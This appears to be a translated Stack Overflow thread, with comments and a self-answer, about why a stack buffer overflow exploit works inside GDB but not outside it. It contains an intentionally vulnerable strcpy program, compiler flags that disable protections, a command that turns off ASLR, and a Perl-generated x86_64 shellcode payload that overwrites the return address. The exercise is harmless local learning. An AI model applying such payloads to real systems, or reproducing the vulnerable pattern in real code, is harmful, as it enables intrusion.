Переполнение буфера стека: работает в GDB, не выходит за его пределы

Я давно читал о переполнении буфера в стеке, но решил настроить виртуальную машину и увидеть их на практике.

Уязвимой программой был следующий код:

#include<string.h>

void go(char *data){
    char name[64];

    strcpy(name, data);
}

int main(int argc, char **argv){
    go(argv[1]);
}

Он был скомпилирован с использованием параметров -zexecstack и -fno-stack-protector в GCC, чтобы позволить коду в стеке быть исполняемым и отключить встроенную в программу защиту от переполнения стека (значение «канареечное»).

gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g

Затем я использовал GDB, чтобы узнать позицию памяти name в стеке, и нашел следующий адрес: 0x7fffffffdc10

Поскольку моя виртуальная машина имеет последнюю версию Linux, мне пришлось отключить ASLR (рандомизация адресного пространства), выполнив: sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" или sudo sysctl -w kernel.randomize_va_space=0.

Шелл-код был взят из статьи о Stack Smashing, которую я нашел в Интернете, и был загружен в программу через Perl-скрипт:

perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'

Это первые 45 байтов шелл-кода (предполагается, что на экране будет написано «Hax!»), несколько дополнительных 27 байтов «A» для установки указателя в правильное положение и, наконец, начальный адрес полезной нагрузки с прямым порядком байтов.

Проблема в следующем:

При запуске программы в GDB через:

gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

Я могу запустить шелл-код и "Hax!" вывод.

При попытке запустить программу вне GDB, например

./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

Я получаю ошибку Illegal instruction (core dumped) вместо "Hax!" вывод.

Я ломал голову, пытаясь понять, в чем причина такого другого поведения. По-видимому, GDB отключает ASLR по умолчанию, однако я также отключил его через sysctl в ядре. Может ли ядро ​​игнорировать переменную kernel.randomize_va_space? А может адрес памяти разный, пусть и статический, на GDB и на реальном процессе? Или, может быть, реальный процесс на самом деле запускает шелл-код, но что-то идет не так в реальном процессе, который GDB игнорирует/обходит?

Любые идеи о том, что может быть причиной?


person murphsghost    schedule 28.08.2016    source источник
comment
Вы пробовали компилировать как 32-битный код? (например, -m32) Я не знаю подробностей, но знаю, что x86_64 имеет дополнительные барьеры для создания исполняемого стека. (нет, я не знаю, почему это работает в GDB :)   -  person David C. Rankin    schedule 28.08.2016
comment
Это NX?   -  person Kevin    schedule 28.08.2016
comment
@DavidC.Rankin Я только что попытался скомпилировать его как 32-битный, но в процессе возникли некоторые сложности. После пересчета того, где в памяти хранится полезная нагрузка, мне пришлось пересчитать, сколько служебных байтов нужно будет вставить, чтобы добраться до сохраненного указателя инструкций. Удивительно, но в 32-разрядной версии мне пришлось заполнить буфер большим количеством байтов, чем я ожидал: я думал, что мне нужно заполнить 64-байтовый буфер + 4 байта сохраненного указателя стека, но для достижения сохраненный указатель инструкций. Даже больше, чем на 64-битной версии (64+8 байт).   -  person murphsghost    schedule 28.08.2016
comment
@DavidC.Rankin Это, вероятно, означает, что в стеке есть что-то еще в 32-битной версии. Но в итоге, хоть я и смог перенаправить поток программы (на GDB) в 32-битной версии, Шеллкод написан на ассемблере x86_64, поэтому мне нужно найти какой-то другой тестовый Шеллкод. Извините за длинный текст. Просто имел в виду это как обновление, которое я принял во внимание ваше предложение! Даже если мне удастся заставить работать 32-битную версию, мне все равно интересно, почему она не работает в 64-битной версии.   -  person murphsghost    schedule 28.08.2016
comment
@Kevin Разве NX не отключен в стеке, когда вы компилируете программу с параметром -zexecstack? Я считаю, что это не проблема, потому что я скомпилировал код для тестирования полезной нагрузки шеллкода, который объявил переменную, содержащую коды операций (в стеке), и выполнил ее через указатель на функцию.   -  person murphsghost    schedule 28.08.2016
comment
Хм... дамп ядра дает какие-то подсказки? Например, было бы полезно знать, где приземлился указатель команд относительно вашего шелл-кода.   -  person Kevin    schedule 28.08.2016
comment
@Kevin, я только что включил файлы дампа ядра на виртуальной машине и сумел создать его, но мне еще нужно научиться их читать (я все еще новичок в GDB, работаю над этим!). Однако я столкнулся с интересным ответом, который может быть причиной того, что он работает в GDB и не работает вне его: (stackoverflow.com/a/17775966 /6765863). По-видимому, некоторые различия в переменных среды для каждого экземпляра могут изменить точный адрес полезной нагрузки. Я буду дальше исследовать.   -  person murphsghost    schedule 29.08.2016
comment
Это не то, что традиционно называют переполнением стека (неограниченная рекурсия); это переполнение буфера (и буфер оказывается выделенным в стеке).   -  person Joshua Taylor    schedule 31.08.2016
comment
Вы правы, мой друг, я отредактировал пост и ответил, чтобы исправить его!   -  person murphsghost    schedule 31.08.2016
comment
Возможно, вам повезет больше спросить об этом на RE. И, возможно, пометьте его assembly.   -  person rustyx    schedule 31.08.2016


Ответы (1)


Прочитав этот ответ (https://stackoverflow.com/a/17775966/6765863), я кое-что изменил в своих попытках выполнить переполнение буфера стека.

Во-первых, я использовал чистую среду, как предложено в ответе выше (env -i), как в тестах GDB, так и в обычных бинарных тестах. В GDB мне пришлось дополнительно запустить команды unset env LINES и unset env COLUMNS, чтобы полностью очистить среду GDB.

Во-вторых, я использовал полный путь к исполняемому файлу, чтобы убедиться, что переменная argv[0] будет одинаковой в обоих тестах и ​​не повлияет на адрес полезной нагрузки.

Даже после этих шагов я все еще мог попасть в Payload только в версии GDB. Поэтому я сделал «отладочную» версию кода, в которой я печатал адреса памяти Payload (которые будут адресом массива «name» в функции «go») и адреса argv[0] и argv[1]. Окончательный код ниже:

#include<string.h>

void go(char *data){
    char name[64];
    printf("Name: %p\n",name);
    strcpy(name, data);
}

int main(int argc, char **argv){
    printf("Argv[0]: %p\n",argv[0]);
    printf("Argv[1]: %p\n",argv[1]);
    go(argv[1]);
}

Я знаю, что должен был явно включить stdio.h (плохо!). Я не знаю, изменит ли что-нибудь добавление #include<stdio.h> в адресах памяти (не думаю, потому что это препроцессорный вызов, который, вероятно, вызывается компилятором таким же образом, но после всей отладки я не хотите рискнуть сделать это снова, если программа все равно работала).

В любом случае, я заметил, что адреса в тестах GDB и в обычном тесте немного отличаются. Чтобы быть более конкретным, адрес полезной нагрузки имел смещение +0x40 (64 байта). Изменить сценарий Perl, чтобы он действительно попадал по этому адресу, было достаточно, чтобы заставить его работать вне GDB.

Я до сих пор не уверен, что может отличаться в стеке, но вся проблема заключалась в том, что точные адреса не совпадали в обоих тестах. Если у кого-нибудь есть идеи, что это за дополнительные 64 байта в тестах GDB, я буду рад добавить их в свой ответ!

person murphsghost    schedule 31.08.2016